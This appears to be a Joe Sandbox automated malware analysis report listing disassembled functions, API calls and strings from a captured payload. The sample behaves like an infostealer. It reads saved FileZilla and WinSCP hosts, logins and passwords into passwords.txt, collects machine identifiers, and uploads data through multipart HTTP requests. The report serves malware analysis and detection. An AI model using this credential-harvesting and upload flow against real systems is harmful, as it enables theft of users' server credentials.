Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: e49434d07f58d3269ecc900e4be6d85c8e0a6b74a34468915fcbd6fe899b977b
Instruction ID: 3c117610413297289b1568185bc227dcd83c409c8c98d5beede1b06cba3537cd
Opcode Fuzzy Hash: e49434d07f58d3269ecc900e4be6d85c8e0a6b74a34468915fcbd6fe899b977b
Instruction Fuzzy Hash: 9401E17AA50209ABDB10DFA8DC55FAB77B9EB88710F148559FA149B380D771ED00CB90

Function 003DFAE0 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003E7612,003F01E9), ref: 003DFAEC
HeapAlloc.KERNEL32(00000000,?,?,?,003E7612,003F01E9), ref: 003DFAF3
GetUserNameA.ADVAPI32(00000000,003F01E9), ref: 003DFB07

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: dd6afb4915066dd9e71171527621a4d677aaf14e7c11b80ac357cc910d53c532
Instruction ID: 96395e10e76dcaab064d4b992d9d3b10e35bb09ad138226aba4b3b2c7a02323f
Opcode Fuzzy Hash: dd6afb4915066dd9e71171527621a4d677aaf14e7c11b80ac357cc910d53c532
Instruction Fuzzy Hash: 99D012B1501219BBD7059BE89C0DFEA7B6CEB05761F000191FA05D2251D9B15900C7E1

Function 003DFDA0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 003DFDAD
wsprintfA.USER32 ref: 003DFDC3

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 484f4cf979ec0a6bd957e5289df204a97585dfddf6cbd92557d1781294bf222a
Instruction ID: 92dbb92a453fd21c4b67a4dcbb2abae8276fbb0621ca9b22ae3aa04f42c8440c
Opcode Fuzzy Hash: 484f4cf979ec0a6bd957e5289df204a97585dfddf6cbd92557d1781294bf222a
Instruction Fuzzy Hash: 53D012B684020C97C710DB94EC859EAB77DEB44200F005695EF05A2140E775AA1D8BE5

Function 003DB9A0 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 335
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003E0D50: SHGetFolderPathA.SHELL32(00000000,003F01E9,00000000,00000000,?,00000000,?), ref: 003E0D81

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,003DBA32,?,00000000,?,00000000,00000000), ref: 003D6C3F
Part of subcall function 003D6C20: GetFileSizeEx.KERNEL32(00000000,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C55
Part of subcall function 003D6C20: LocalAlloc.KERNEL32(00000040,?,?,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C70
Part of subcall function 003D6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6C89
Part of subcall function 003D6C20: CloseHandle.KERNEL32(00000000,?,003DBA32,?,00000000,?,00000000,00000000,?), ref: 003D6CB1

Part of subcall function 003E0DA0: LocalAlloc.KERNEL32(00000040,?,?,00000000,00000030,?,003E3026,00000000,00000000), ref: 003E0DBC

strtok_s.MSVCRT ref: 003DBA5E
GetProcessHeap.KERNEL32(00000000,000F423F,003F01E9,003F01E9,003F01E9,003F01E9), ref: 003DBAA3
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBAAA
StrStrA.SHLWAPI(00000000,<Host>), ref: 003DBAC6
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBAD1

Part of subcall function 003E1200: malloc.MSVCRT ref: 003E1209
Part of subcall function 003E1200: strncpy.MSVCRT ref: 003E1219

StrStrA.SHLWAPI(00000000,<Port>), ref: 003DBB01
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBB0C
StrStrA.SHLWAPI(00000000,<User>), ref: 003DBB42
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBB4D
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 003DBB7D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBB88
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBC06
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBC1E
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBC36
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBC4E
lstrcatA.KERNEL32(00000000,Soft: FileZilla), ref: 003DBC63
lstrcatA.KERNEL32(00000000,Host: ), ref: 003DBC6F
lstrcatA.KERNEL32(00000000,00000000), ref: 003DBC7F
lstrcatA.KERNEL32(00000000,003F3454), ref: 003DBC8B
lstrcatA.KERNEL32(00000000,00000000), ref: 003DBC9B
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DBCA7
lstrcatA.KERNEL32(00000000,Login: ), ref: 003DBCB3
lstrcatA.KERNEL32(00000000,00000000), ref: 003DBCC3
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DBCCF
lstrcatA.KERNEL32(00000000,Password: ), ref: 003DBCDB
lstrcatA.KERNEL32(00000000,00000000), ref: 003DBCEB
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DBCF7
lstrcatA.KERNEL32(00000000,003F3408), ref: 003DBD03

Part of subcall function 003DF8A0: lstrlenA.KERNEL32(003E76BE,?,00000000,?,003E6587,003F01E9,003F01E9,?,00000000,?,?,003E76BE), ref: 003DF8AB
Part of subcall function 003DF8A0: lstrcpyA.KERNEL32(00000000,003E76BE), ref: 003DF8E2

strtok_s.MSVCRT ref: 003DBD47
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003DBD5A

Strings

Login: , xrefs: 003DBCAD
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 003DB9F5
Host: , xrefs: 003DBC69
<Port>, xrefs: 003DBAFB
<Pass encoding="base64">, xrefs: 003DBB77
Soft: FileZilla, xrefs: 003DBC5D
Password: , xrefs: 003DBCD5
<Host>, xrefs: 003DBAC0
passwords.txt, xrefs: 003DBD67
<User>, xrefs: 003DBB3C

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFile$HeapLocalstrtok_s$CloseCreateFolderHandlePathProcessReadSizemallocstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 1826205597-935134978
Opcode ID: 81d8b92e159d3531a75f78ea243355ae0de09221117ee45f7604b35280968494
Instruction ID: e41acb0f021f8bb079e00ca14bc07cb01681c391698bf19e9c2ef7f130a34e6e
Opcode Fuzzy Hash: 81d8b92e159d3531a75f78ea243355ae0de09221117ee45f7604b35280968494
Instruction Fuzzy Hash: F2B18272950108AFCB06FBB0EC96DFE777CAF54700F489525F503A6292EF206B09CA61

Function 003D45D0 Relevance: 61.9, APIs: 26, Strings: 9, Instructions: 696
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF850: lstrcpyA.KERNEL32(00000000,?,?), ref: 003DF878

Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DA2
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DAF
Part of subcall function 003D3D70: ??_U@YAPAXI@Z.MSVCRT ref: 003D3DBC
Part of subcall function 003D3D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 003D3DD6
Part of subcall function 003D3D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 003D3DE6

lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000030), ref: 003D4641

Part of subcall function 003E0DF0: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 003E0E14
Part of subcall function 003E0DF0: GetProcessHeap.KERNEL32(00000000,?,?,003D4635,?,?,?,?,?,?,?,?,00000030), ref: 003E0E23
Part of subcall function 003E0DF0: HeapAlloc.KERNEL32(00000000,?,?,003D4635,?,?,?,?,?,?,?,?,00000030), ref: 003E0E2A

StrCmpCA.SHLWAPI(?,031D06D8,003F01E9,003F01E9,003F01E9,003F01E9), ref: 003D46A6
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 003D46CC
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 003D47B0
HttpOpenRequestA.WININET(00000000,031D0838,?,031D6108,00000000,00000000,?,00000000), ref: 003D47ED
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 003D4812

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF940: lstrcpyA.KERNEL32(00000000,?,00000000,003E76BE), ref: 003DF981
Part of subcall function 003DF940: lstrcatA.KERNEL32(00000000), ref: 003DF98D

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,file_data,00000000,?,031C9960,00000000,?,003F3358,00000000,?,?), ref: 003D4C21
lstrlenA.KERNEL32(00000000), ref: 003D4C33
GetProcessHeap.KERNEL32(00000000,00000000), ref: 003D4C45
HeapAlloc.KERNEL32(00000000), ref: 003D4C4C
lstrlenA.KERNEL32(00000000), ref: 003D4C5E
memcpy.MSVCRT ref: 003D4C72
lstrlenA.KERNEL32(00000000,?,?), ref: 003D4C8B
memcpy.MSVCRT ref: 003D4C95
lstrlenA.KERNEL32(00000000), ref: 003D4CA6
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 003D4CBF
memcpy.MSVCRT ref: 003D4CCC
lstrlenA.KERNEL32(00000000,?,00000000), ref: 003D4CE2
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 003D4CF3
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 003D4D1A
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003D4D5F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 003D4DB3
StrCmpCA.SHLWAPI(00000000,block), ref: 003D4DCB
ExitProcess.KERNEL32 ref: 003D4DD6
InternetCloseHandle.WININET(00000000), ref: 003D4DE7

Strings

file_data, xrefs: 003D4BD4
------, xrefs: 003D4721
block, xrefs: 003D4DBD
=t>, xrefs: 003D4E59, 003D48E6, 003D48E9
--, xrefs: 003D4710
", xrefs: 003D48C4, 003D49D3, 003D4AE6, 003D4BF6
ERROR, xrefs: 003D4D27
build_id, xrefs: 003D49B1
------, xrefs: 003D4818, 003D4929, 003D4A3A, 003D4B4B

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$Heap$HttpProcessmemcpy$AllocFileOpenReadRequestlstrcat$BinaryCloseConnectCrackCryptExitHandleInfoOptionQuerySendString
String ID: ------$"$--$------$=t>$ERROR$block$build_id$file_data
API String ID: 1603122859-888877234
Opcode ID: d3017897572304a000c6d3d31a17512c5f96d7b97028b2e86cdc79bcd92bd434
Instruction ID: 2dec385655a8fb8aee693c88e2e1ddaaefff92d8fcd80c115f60c1186a46fd1b
Opcode Fuzzy Hash: d3017897572304a000c6d3d31a17512c5f96d7b97028b2e86cdc79bcd92bd434
Instruction Fuzzy Hash: FF42D077C10149AEDB06EBA0ECD2DFE7778AF14300F54816AF117AA291DF306A49CB65

Function 003DE3C0 Relevance: 58.1, APIs: 19, Strings: 14, Instructions: 384
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003DE3E4
memset.MSVCRT ref: 003DE3FE
memset.MSVCRT ref: 003DE40C
memset.MSVCRT ref: 003DE41A
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,003E6CFD,?,?,?,?,?,?,?,?,?,00000000,?), ref: 003DE442
RegGetValueA.ADVAPI32(003E6CFD,Security,UseMasterPassword,00000010,00000000,?,?), ref: 003DE467
RegCloseKey.ADVAPI32(003E6CFD,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 003DE475

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

RegCloseKey.ADVAPI32(003E6CFD,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 003DE4AF
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,003E6CFD,?,?,?,?,?,?,?,?,?,00000000,?), ref: 003DE4C9
RegEnumKeyExA.ADVAPI32(003E6CFD,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 003DE4E7
RegCloseKey.ADVAPI32(003E6CFD,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 003DE4FD
RegGetValueA.ADVAPI32(003E6CFD,?,HostName,00000002,00000000,?,?,00000000,?,Host: ,00000000,?,Soft: WinSCP,003F01E9), ref: 003DE58A
RegGetValueA.ADVAPI32(003E6CFD,?,PortNumber,0000FFFF,00000000,?,?,00000000,?,?), ref: 003DE5D5
RegGetValueA.ADVAPI32(003E6CFD,?,UserName,00000002,00000000,?,?,00000000,?,Login: ,00000000,?,:22), ref: 003DE682
RegGetValueA.ADVAPI32(003E6CFD,?,Password,00000002,00000000,?,?,00000000,?,003F3408,00000000,?,?), ref: 003DE6F4
StrCmpCA.SHLWAPI(?,003F01E9,00000000,?,Password: ,?,?,?,?,?,?,?,?,?,00000000,?), ref: 003DE724
RegEnumKeyExA.ADVAPI32(003E6CFD,?,?,00000104,00000000,00000000,00000000,00000000,00000000,?,003F3684), ref: 003DE7D7
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 003DE7F1
RegCloseKey.ADVAPI32(003E6CFD), ref: 003DE848

Part of subcall function 003DDD90: GetProcessHeap.KERNEL32(00000008,?,75A8EC10,75AA5460,00000000), ref: 003DDDD8
Part of subcall function 003DDD90: HeapAlloc.KERNEL32(00000000), ref: 003DDDDF
Part of subcall function 003DDD90: GetProcessHeap.KERNEL32(00000000,?), ref: 003DDDF4
Part of subcall function 003DDD90: HeapFree.KERNEL32(00000000), ref: 003DDDFB

Strings

Security, xrefs: 003DE461
Host: , xrefs: 003DE544
UserName, xrefs: 003DE675
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 003DE42F
Password: , xrefs: 003DE6F6
UseMasterPassword, xrefs: 003DE45C
Login: , xrefs: 003DE63C
:22, xrefs: 003DE614
Password, xrefs: 003DE6E7
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 003DE4BF
Soft: WinSCP, xrefs: 003DE522
passwords.txt, xrefs: 003DE806
PortNumber, xrefs: 003DE5C1
HostName, xrefs: 003DE57D

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000051F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.000000000060B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174561639.000000000060D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Yara matches

Similarity

API ID: Value$CloseHeapmemset$EnumOpenProcesslstrcpylstrlen$AllocFreelstrcat
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 376919160-2798830873
Opcode ID: 71c9b68fd653e92c4170f3c81e78b2b228117cba1b4761f689416e985c279ca0
Instruction ID: 605db4ff9adf1358ebd99ae130a6c34d66a8a786cb1a1898025a7debd54de5f8
Opcode Fuzzy Hash: 71c9b68fd653e92c4170f3c81e78b2b228117cba1b4761f689416e985c279ca0
Instruction Fuzzy Hash: 5DD12FB2910159AEDB16EBA0DCD1EFEB77CBF54300F44456AF106A6291EB306F48CB61

Function 003E44B0 Relevance: 48.1, APIs: 2, Strings: 25, Instructions: 834
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003DF810: lstrcpyA.KERNEL32(00000000,003E760D,003E760D,003F01E9), ref: 003DF839

Part of subcall function 003DF9A0: lstrlenA.KERNEL32(?,?,?,?,?,003E7633,?,031C65F0,?,003F3414,?,00000000,003F01E9), ref: 003DF9B9
Part of subcall function 003DF9A0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF9E1
Part of subcall function 003DF9A0: lstrcatA.KERNEL32(?,?), ref: 003DF9EB

Part of subcall function 003DF8F0: lstrcpyA.KERNEL32(00000000,?,003F01E9), ref: 003DF930

Part of subcall function 003DFB60: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,003F01E9,?,?,?,?,?,?,?,003E6C7F,?), ref: 003DFB6E
Part of subcall function 003DFB60: HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,003F01E9,?,?,?,?,?,?,?,003E6C7F,?), ref: 003DFB75
Part of subcall function 003DFB60: GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,003F01E9,?,?,?,?,?,?,?,003E6C7F,?), ref: 003DFB81
Part of subcall function 003DFB60: wsprintfA.USER32 ref: 003DFBAD

Part of subcall function 003E0340: memset.MSVCRT ref: 003E0365
Part of subcall function 003E0340: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,003F01E9), ref: 003E0382
Part of subcall function 003E0340: RegQueryValueExA.KERNEL32(003F01E9,MachineGuid,00000000,00000000,00000000,000000FF), ref: 003E03A4
Part of subcall function 003E0340: RegCloseKey.ADVAPI32(003F01E9), ref: 003E03AE
Part of subcall function 003E0340: CharToOemA.USER32(00000000,?), ref: 003E03C2

Part of subcall function 003E03E0: GetCurrentHwProfileA.ADVAPI32(00000000), ref: 003E03EB

